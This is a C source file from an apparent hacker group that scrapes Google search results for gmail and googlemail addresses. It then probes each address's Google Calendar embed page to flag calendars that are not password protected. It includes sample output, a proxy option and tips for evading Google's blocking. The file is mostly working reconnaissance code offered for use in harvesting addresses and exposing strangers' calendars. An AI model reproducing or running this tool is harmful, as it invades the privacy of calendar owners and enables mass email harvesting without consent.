/*	WWW.EXCLUDED.ORG
		written by l0om

	date_me.c	- the ultimate source about dating

	INFO:
		this code searches for google calendar accounts which are
		existing and those that are not passwort protected.

		i know this code isnt optimized but it does its work.

	HOW:
		1. connect to google
		2. send SEARCH_STR for getting gmail, googlemail addresses
		3. connect to google.xxx/calendar/ and check the account

	NOTICE:
		- compile with 'gcc -o dating date_me.c -lcurl'
		- this code works with curl AND regex
		- you dont need my goo library :)
		- you should play with the SEARCH_STR because it may be blocked
		- if your host is blocked reconnect
	GREETS:
		Theldens the calendar-lord, maximilian, molke, john, mattball, dr.dohmen


badass@badhost:~/bla> ./dating -s 100 -e 110 -l
        google(100)  results:4
checking ixxx@gmail.com... invalid calendar ID
checking exxx@gmail.com... is password protected
checking bxxx@gmail.com... invalid calendar ID
checking rxxx@gmail.com... ROCKED! unprotected found
badass@badhost:~/bla>
*/

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdlib.h>
#include <regex.h>
#include <curl/curl.h>

#define		NONEXIST	"<title>Parameter Error"
#define		NOPERMIS	"you do not have the permission"
#define		INVALID		2
#define		PASSWD		3
#define		ROCKED		4

#define		LOGFILE		"calender.log"
#define		GOOGLE		"www.google.com"
#define 	SEARCH_STR 	"*@gmail.com OR *@googlemail.com"
		//"address *@googlemail.com"
		//"*@gmail.com OR *@googlemail.com"

		//the original SEARCH_STR may be blocked by google. 
		//choose some other search string.

int	get_mailadr(char *path, char *results);
char	*encode(char *str);
void 	help(char *p);
void	log_it(char *mail, int ret);

char 	 *pxy = NULL;

int	main(int argc, char **argv)
{
	char res[500], *p, body[] = "http://%s/search?q=%s&start=%d";
	char  *t, log = 0, *url = NULL;
	char *path = NULL;
	int i, j, start = 1000, end = 0, ret;
	long http_code;
	double c_length;
	size_t len;
	FILE *tmp;
	CURL *curl;
	CURLcode curl_res;
	CURLINFO info;

	if(argc > 1) {
		for(i = 1; i < argc; i++) 
			if(argv[i][0] == '-') 
				switch(argv[i][1]) {
					case 's':
						start = atoi(argv[++i]);
						break;
					case 'e':
						end = atoi(argv[++i]);
						break;
					case 'h':
						help(argv[0]);
						return 0;
					case 'p':
						path = argv[++i];
						break;
					case 'P':
						pxy = argv[++i];
						break;
					case 'l':
						log = 1;
						break;
					default:
						printf(">>%s<< unknown option\n",argv[i]);
						return 0;
				}
	}

	if(start && !end) end = start + 150;

	if(start > end) {
		printf("start is bigger than end\n");
		return 4;
	}
	
	curl = curl_easy_init();
	if(pxy != NULL) curl_easy_setopt(curl, CURLOPT_PROXY, pxy);

	p = encode(SEARCH_STR);
	if(p == NULL) {
		perror("malloc");
		return 2;
	}
	len = strlen(p)+strlen(body)+strlen(GOOGLE)+4;
	url = malloc(len);
	if(url == NULL) {
		perror("malloc");
		return 2;
	}
	if(path == NULL) {
		path = malloc(strlen(getenv("HOME"))+10);
		if(path == NULL) {
			perror("malloc");
			curl_easy_cleanup(curl);
			return 2;
		} else sprintf(path, "%s/.tmp_4_c",getenv("HOME"));
	}
	
	while(start < end) {

		if( (tmp = fopen(path, "w")) == NULL) {
				perror("fopen");
				curl_easy_cleanup(curl);
				return 1;
		}

		snprintf(url, len, body, GOOGLE,p,start);
	
		curl_easy_setopt(curl, CURLOPT_URL, url);
		curl_easy_setopt(curl, CURLOPT_WRITEDATA,  tmp);
		curl_res = curl_easy_perform(curl);
		fclose(tmp);
	
		j = get_mailadr(path,res);
		printf("\tgoogle(%d)  results:%d\n",start,j);
		curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_code);
		
		if(!j) {
			if(http_code == 302) {
				printf("(%u) we are blocked for \"%s\"\n",http_code,SEARCH_STR);
				break;
			}
			curl_easy_getinfo(curl, CURLINFO_SIZE_DOWNLOAD, &c_length);
			if(c_length < 8000) {
				printf("we have reached end of results\n",c_length);
				break;
			}
		}

		for(i = 0; i < j; i++) {
			if(!i) t = strtok(res,"|");
			else t = strtok(NULL, "|");
			printf("checking %s... ",t); fflush(stdout);
			ret = check_calender(t,path);
			switch(ret) {
				/*	case -1:
					printf("error\n");
					exit(0);	*/
				case INVALID:
					printf("invalid calendar ID\n");
					break;
				case PASSWD:
					printf("is password protected\n");
					break;
				default:
					printf("ROCKED! unprotected found\n");
					break;
			}
			if(log) log_it(t,ret);
		}
		start += 10;
	}
	free(p);
	free(url);
	curl_easy_cleanup(curl);
	remove(path);
	return 0;
}

int check_calender(char *email, char *path)
{
	int i, ret = ROCKED;
	size_t len;
	char body[] = "http://%s/calendar/embed?src=%s&hl=en", *url;
	char non_existing[] = NONEXIST;
	char no_permissin[] = NOPERMIS;
	CURL *curl;
	CURLcode res;
	char buf[255];
	FILE *tmp;

	curl = curl_easy_init();
	if(pxy != NULL) curl_easy_setopt(curl, CURLOPT_PROXY, pxy);

	len = strlen(body)+strlen(GOOGLE)+strlen(email)+1;
	url = malloc(len);
	if(url == NULL) {
		perror("malloc");
		return -1;
	}	
	snprintf(url,len,body,GOOGLE,email);

	if( (tmp = fopen(path, "w")) == NULL) {
		perror("fopen");
		curl_easy_cleanup(curl);
		return 1;
	}	
	curl_easy_setopt(curl, CURLOPT_URL, url);
	curl_easy_setopt(curl, CURLOPT_WRITEDATA,  tmp);
	res = curl_easy_perform(curl);
	fclose(tmp);

	if( (tmp = fopen(path, "r")) == NULL) {
		perror("fopen");
		curl_easy_cleanup(curl);
		return 1;
	}

	while(fgets(buf,255,tmp) != NULL) {
		//printf("LINE: %s\n",buf);
		if(strstr(buf,non_existing) != NULL) {
			ret = INVALID;
			break;
		}
		if(strstr(buf,no_permissin) != NULL) {
			ret = PASSWD;
			break;
		}
	}
	fclose(tmp);
	curl_easy_cleanup(curl);
	return ret;
}

int	get_mailadr(char *path, char *results)
{
	int fd;
	char buf[2000];
	char err_str[200];
	char **tmp;
	int i,j, k = 0, err, strings = 1, count = 0;
	regex_t preg;
	regmatch_t pmatch[100];


	if( (fd = open(path, O_RDONLY)) == -1) {
		perror("open");
		return -1;
	}

	if( (err = regcomp(&preg, "\\b[A-Za-z0-9._%+-]+@(gmail|googlemail)+\\.[a-zA-Z]{2,4}\\b", REG_EXTENDED)) != 0)  {
			printf("regcomp error\n");
			return -1;
	}
	while(read(fd,buf,sizeof(buf)) > 0) {
		if( (err = regexec(&preg, buf, preg.re_nsub, pmatch, 0)) != 0)  {
			if(err == 1) continue;
	
			regerror(err, &preg, err_str, 200);
			printf("%s\n",err_str);
			return -1;
		} else {
				
	
				for(i = 0; i < preg.re_nsub; i++) {
					if(pmatch[i].rm_so == -1) continue;
						for(j = pmatch[i].rm_so; j < pmatch[i].rm_eo; j++) 
							results[k++] = buf[j];
						results[k] = '|';
						results[++k] = '\0';
						count++;
					}
			}
	}
	regfree(&preg);
	close(fd);
	return count;
}

char	*encode(char *str)
{
	char *query, *ptr;
	int nlen, i;

	nlen = strlen(str)*3+5;
	if( (query = (char *)malloc(nlen)) == NULL) {
		perror("malloc");
		return(NULL);
	} else ptr = str;
	for(i = 0; i <= nlen-5, *ptr != '\0'; i+=3) {
		sprintf(&query[i], "%c%X",'%',*ptr++);
	}
	query[i] = '\0';
	return(query);
}

void	log_it(char *mail, int ret)
{
	FILE *fd;

	fd = fopen(LOGFILE, "a");
	if(fd == NULL) {
		perror("fopen");
		return;
	}
	fprintf(fd, "(%s) -> ",mail);
	switch(ret) {
		case INVALID: 
			fprintf(fd,"invalid calendar ID\n");
			break;
		case PASSWD:
			fprintf(fd,"permission denied\n");
			break;
		default:
			fprintf(fd,"ROCKED! unprotected\n");
	}
	fclose(fd);
}

void 	help(char *p)
{
	printf("%s [options]\n",p);
	printf("-s: start searching from x\n");
	printf("-e: to y\n");
	printf("-l: log session\n");
	printf("-P: next argument for proxy\n");
	printf("-p: full path to tmp file\n");
	printf("-h: this help\n");
}



